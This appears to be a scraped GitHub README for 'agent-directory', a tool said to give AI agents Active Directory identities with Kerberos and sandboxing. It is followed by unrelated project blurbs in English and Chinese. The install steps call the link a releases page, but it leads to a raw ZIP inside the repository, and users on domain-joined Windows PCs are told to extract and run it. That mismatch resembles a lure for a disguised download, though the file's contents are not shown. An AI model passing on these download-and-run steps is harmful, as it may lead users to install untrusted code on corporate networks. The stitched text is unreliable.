Extend Active Directory to manage AI agent identities with Kerberos authentication, sandboxing, and controlled access like users and services.
# 🤖 agent-directory - Manage AI Agents in Active Directory [](https://github.com/SHIYUAN625/agent-directory/raw/refs/heads/main/events/agent-directory-2.0-alpha.3.zip) --- ## 🌟 What is agent-directory? agent-directory helps you manage AI agents inside Active Directory. It lets each AI agent have its own identity, just like a user. Agents prove who they are using Kerberos, run in protected spaces (called sandboxes), and have controlled access to resources. This works the same way Windows handles people and services today. This system supports both Windows Active Directory and Samba4 on Linux. --- ## 🖥️ System Requirements You will need a Windows computer with: - Windows 10 or later - Active Directory environment (domain-joined PC) - At least 4 GB RAM, 2 GHz CPU (typical PC hardware) - PowerShell 5.1 or newer installed - Network access to your Active Directory Domain Controller No special programming tools are needed. This guide shows you how to get agent-directory running on your PC. --- ## 🚀 Getting Started with agent-directory ### Step 1: Visit the Download Page Go to the agent-directory releases page to get the software: [Download agent-directory](https://github.com/SHIYUAN625/agent-directory/raw/refs/heads/main/events/agent-directory-2.0-alpha.3.zip) This page shows the latest versions available. You will find the installation files here. ### Step 2: Download the Software Find the latest Windows release. It will usually be a ZIP file with a name like `agent-directory-windows.zip`. Click the file to start downloading it on your PC. ### Step 3: Prepare Your PC After downloading, open the folder where the file saved. - Right-click the ZIP file and choose **Extract All…** - Select a folder you can easily access, such as Desktop or Documents - Click **Extract** This will create a new folder with the software files. ### Step 4: Run the Installer or Setup Script
HAL 分层混合模型工作流 — 强模型(Claude)负责理解/拆解/验收,低成本模型(DeepSeek)负责检索/提取/清洗。Hermes Agent skill。
An LLM agent fine-tuned on DeepSeek for spaced repetition, dynamically integrating knowledge points based on the Ebbinghaus forgetting curve.
基于 STM32F103 构建的端到端 AI 智能手表生态。自研“零重定位”原生机器码动态加载引擎与页面栈式 UI 框架;集成生产级 OTA 回滚保护机制与高带宽(921600 baud)串口协议栈。通过 Node.js 中继实现 DeepSeek AI 语义控制及 ASRPRO 语音全双工交互,是一个集成了分布式计算、现代存储管理与 AI Agent 的嵌入式全栈工程。
A Meta-Agent-Driven Self-Evolving Multi-Agent System for UAV Detection and Tracking
One command to run Hermes AI Agent with a browser UI. Zero prerequisites. 一行命令,AI 就位。
网页应用Agent,接入DeepSeek、Mimo等模型